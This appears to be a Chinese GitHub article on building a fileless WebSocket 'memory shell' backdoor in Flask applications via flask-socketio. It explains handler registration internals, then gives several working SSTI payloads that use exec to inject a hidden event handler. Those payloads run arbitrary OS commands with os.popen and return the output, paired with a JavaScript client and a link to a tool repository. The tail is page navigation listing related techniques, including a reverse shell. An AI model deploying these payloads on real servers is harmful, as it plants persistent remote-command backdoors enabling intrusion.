由于 Flask 本身并不支持 websocket，只能通过第三方扩展如基于 socketio 开发的 flask-socketio实现，还有一些花里胡哨的实现方法，在弄这个的时候想了一些办法来实现 websocket 的内存马。一种是如果端口能开放，使用 socket 实现一个伪 websocket，但是实际没有啥用。第二种就是这个 web 应用使用了扩展来支持 websocket，这里用 flask-socketio 来演示一下。它的基本用法如下，使用@socketio.on装饰器，可以通过 namespace 来准许客户端在同一个 socket 上建立多个独立的链接；even_name 代表事件名称，可以自己定义，同时客户端连接的时候需要指定事件发送消息。

from flask_socketio import SocketIO
socketio = SocketIO(app, cors_allowed_origins="*")

@socketio.on('event_name', namespace='/namespace')
def func_name(message):
    send({'msg': 'message info'})

socketio.run(app)

客户端的用法

// 连接WebSocket
var socket = io.connect('http://domain:port/namespace');

function sendMsg() {
    socket.emit('event_name', {'msg': 'message info'});
}

// 接收消息事件
socket.on('message', function(data) {
    var p = document.createElement('p');
    p.innerHTML = data['msg'];
    document.getElementById('chat').appendChild(p);
});

具体用法参考： Flask-SocketIO — Flask-SocketIO documentation flask-socketio-doc-zh/Flask-SocketIO中文文档.md at master · shenyushun/flask-socketio-doc-zh @socketio.on装饰器在服务端注册事件处理函数，实现如下：在通过 HTTP 升级协议到 websocket 建立连接后，当触发事件的时候，通过_handle_event_internal调用_trigger_event，进而找到事件处理函数并传递数据，寻找事件处理函数的过程和 flask 里的路由处理函数一样，通过事件名在socketio.server.handlers属性里找到对应的函数。这个 handlers可以通过url_for.__globals__.current_app.extensions['socketio'].server.handlers来查看。函数在调用的时候会传递一个两个参数，一个request.sid一个就是客户端发送的消息。

{'/namespace': {'event_name': <function >}}

所以要实现 websocket 内存马只需要往里面添加即可实现。

ws连接过程

先看一下一个正常的ws请求在 flask-socketio 中是怎么接收处理后发送消息的。上面已经说过找到对应事件处理函数的过程，在拿到事件处理函数后，会在这里进行调用。但是需要注意的是这里并不是直接调用函数，在@socketio.on装饰器装饰事件处理函数的时候使用了Python functools包中的@wraps(handler)来对事件处理函数再次进行了装饰，这个也就是在上面调用handler()函数的时候调用的是下图中的_handler() 这个函数里调用_handle_event()，这个方法由flask_socketio.SocketIO对象提供，在这里去获取了 flask 应用上下文，然后调用真正的事件处理函数handler() 如果需要在事件处理函数中需要发送消息给客户端，这里使用的是flask_socketio.send方法来发送消息。其最终调用的是flask_socketio.SocketIO.send方法，这里其实也不是最终的调用方法，因为 flask-socketio 是基于 sokcetio 开发的，后续就是 socketio 的处理了。这里还有一点是，这里调用的时候，是通过获取 flask 的应用上下文来获取加载的扩展对象，然后才能够调用。

ws内存马实现

接下来实现一下上面的连接过程，场景是有一个 SSTI 漏洞。使用下面这个 Payload 来添加一个自定义的 websocket 事件处理函数，命名空间为/wsshell，事件名为shell，事件函数需要的参数上面也有提到：e为request sid，d为客户端发送的数据。

{{ url_for.__globals__['__builtins__']['exec'](
"
app.extensions['socketio'].server.handlers['/wsshell'] = {'shell':lambda e,d: __import__('os').popen(d['cmd']).read()}
", 
{'app':url_for.__globals__['current_app']})
}}

客户端的实现

var socket = io.connect('http://127.0.0.1:5000/wsshell');

function execCMD() {
  socket.emit('shell', { 'cmd': document.getElementById('cmdline').value});
}

// 接收消息事件
socket.on('message', function(data) {
  var p = document.createElement('p');
  p.innerHTML = data['msg'];
  document.getElementById('chat').appendChild(p);
});

成功发送了消息并执行了命令，但是服务端并没有返回数据。如果需要返回数据还得继续改造 Payload，那么就应该在匿名函数将命令执行结果作为参数传递给 send方法如果想要调用就得拿到这个对象，并不能通过单纯import调用，这个对象在这里：

url_for.__globals__.current_app.extensions['socketio']

那么构造这样的 Payload

{{ url_for.__globals__['__builtins__']['exec'](
"
app.extensions['socketio'].server.handlers['/wsshell'] = {'shell': lambda e,d: app.extensions['socketio'].send(__import__('os').popen(d['cmd']).read())}
", 
{'app':url_for.__globals__['current_app']})
}}

注入成功，但是在连接的时候会报错显示不在上下文中，这里执行的handler函数就是 Payload 中的匿名函数。调用的地方是在socketio.server.Server._trigger_event()中，这里的全局变量里是没有 Flask 上下文的，但是我们又需要通过 flask 上下文的代理对象current_app来获取到flask_socketio.SocketIO来发送消息。那么正常的请求是怎么实现的呢，在上面的ws连接过程中也提到了，正常的请求在这一步并不是直接调用事件处理函数，而是先获取了 Flask 应用的上下文才去真正的调用事件处理函数。

但是需要注意的是这里并不是直接调用函数，在@socketio.on装饰器装饰事件处理函数的时候使用了Python functools包中的@wraps(handler)来对事件处理函数再次进行了装饰，这个也就是在上面调用handler()函数的时候调用的是下图中的_handler()

这时候笔者已经下断点绕懵逼了。最后实现的时候先调用了_handle_event()（由@wraps(handler)装饰器函数调用的），然后传入另一个匿名函数作为事件处理函数。后面才想起来应该直接调用send即可。这里先不管，目前我们虽然执行了命令，但是需要拿到回显，回显需要服务器发送消息，发送消息需要拿到flask_socketio.SocketIO对象，但是现在上下文中没有这个对象。这里要区别一下 SSTI 的时候能拿到和这里不能拿到的原因：SSTI漏洞利用的时候就在 flask 的上下文环境中，这里调用事件处理函数的时候不在，笔者想的是 flask-socketio 在本机的环境里使用了 Eventlet 来做异步服务，所以问了下GPT。

_ 在使用 Eventlet 时访问不到 Flask 上下文通常是因为 Flask 的上下文管理机制与协程（coroutines）和绿色线程（green threads）的协作方式不兼容。Flask 依赖于上下文局部（context locals）来跟踪请求和应用程序上下文，而这些上下文局部在使用协程时可能不会被正确传递和管理。这是因为上下文局部是线程局部的（thread-local），而协程和绿色线程与传统线程的工作机制不同。 _

不明所以，所以暴力解决，在 SSTI 漏洞利用的时候拿到 flask 的应用上下文放到 Python 的内建模块中，这样无论在哪个地方都能够拿到需要的对象了。实现如下，在调用事件处理函数的时候直接拿到内建模块中上下文，然后执行发送消息：

{{ url_for.__globals__['__builtins__']['exec'](
"
__import__('builtins').app_ctx= app.app_context();
app.extensions['socketio'].server.handlers['/wsshell'] = {'shell':lambda s,d: __import__('builtins').app_ctx.app.extensions['socketio'].send({'msg': '<pre>{0}</pre>'.format(__import__('os').popen(d['cmd']).read())},namespace='/wsshell')}
", 
{'app':url_for.__globals__['current_app'] })
}}

PS：其实这块能写那么多，纯纯当时拿不到对象一直调试有点懵逼了，后面拿到对象后没有直接调用_send_（忘记了），而是拿着这个对象按照正常的流程走了一遍。得到下面的Payload

{{ url_for.__globals__['__builtins__']['exec'](
"
my_func= lambda d: __import__('builtins').app_ctx.app.extensions['socketio'].send({'msg':__import__('os').popen(d['cmd']).read()},namespace='/wsshell');
__import__('builtins').app_ctx= app.app_context();
app.extensions['socketio'].server.handlers['/wsshell'] = {};
app.extensions['socketio'].server.handlers['/wsshell']['shell']= lambda s,d: __import__('flask_socketio').SocketIO._handle_event(__import__('builtins').app_ctx.app.extensions['socketio'], my_func, 'shell', '/wsshell', s, d )
", 
{'app':url_for.__globals__['current_app'] })
}}

用到的demo以及开发的工具： https://github.com/orzchen/PyMemShell/

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Python Flask中的SSTI和内存马.md

Python Flask中的SSTI和内存马.md

前言

SSTI相关

Flask中的内存马

动态注册路由 @app.route - add_url_rule

补充：请求方式和执行结果

修改视图函数 @app.endpoint

请求拦截路由内存马

@app.errorhandler

@app.url_value_preprocessor

2.1 Debug模式抛出异常

2.1.1 方法一

2.1.2 方法二

2.1.3 方法三

2.1.4 方法四

2.2 非Debug模式

2.2.1 注册路由

2.2.2 反弹shell

2.2.3 异常处理

@app.before_request

@app.after_request

@app.teardown_request

@app.context_processor

@app.teardown_appcontext

WebSocket内存马

Flask-socketio

ws连接过程

ws内存马实现

Files

Python Flask中的SSTI和内存马.md

Latest commit

History

Python Flask中的SSTI和内存马.md

File metadata and controls

前言

SSTI相关

Flask中的内存马

动态注册路由 @app.route - add_url_rule

补充：请求方式和执行结果

修改视图函数 @app.endpoint

请求拦截路由内存马

@app.errorhandler

@app.url_value_preprocessor

2.1 Debug模式抛出异常

2.1.1 方法一

2.1.2 方法二

2.1.3 方法三

2.1.4 方法四

2.2 非Debug模式

2.2.1 注册路由

2.2.2 反弹shell

2.2.3 异常处理

@app.before_request

@app.after_request

@app.teardown_request

@app.context_processor

@app.teardown_appcontext

WebSocket内存马

Flask-socketio

ws连接过程

ws内存马实现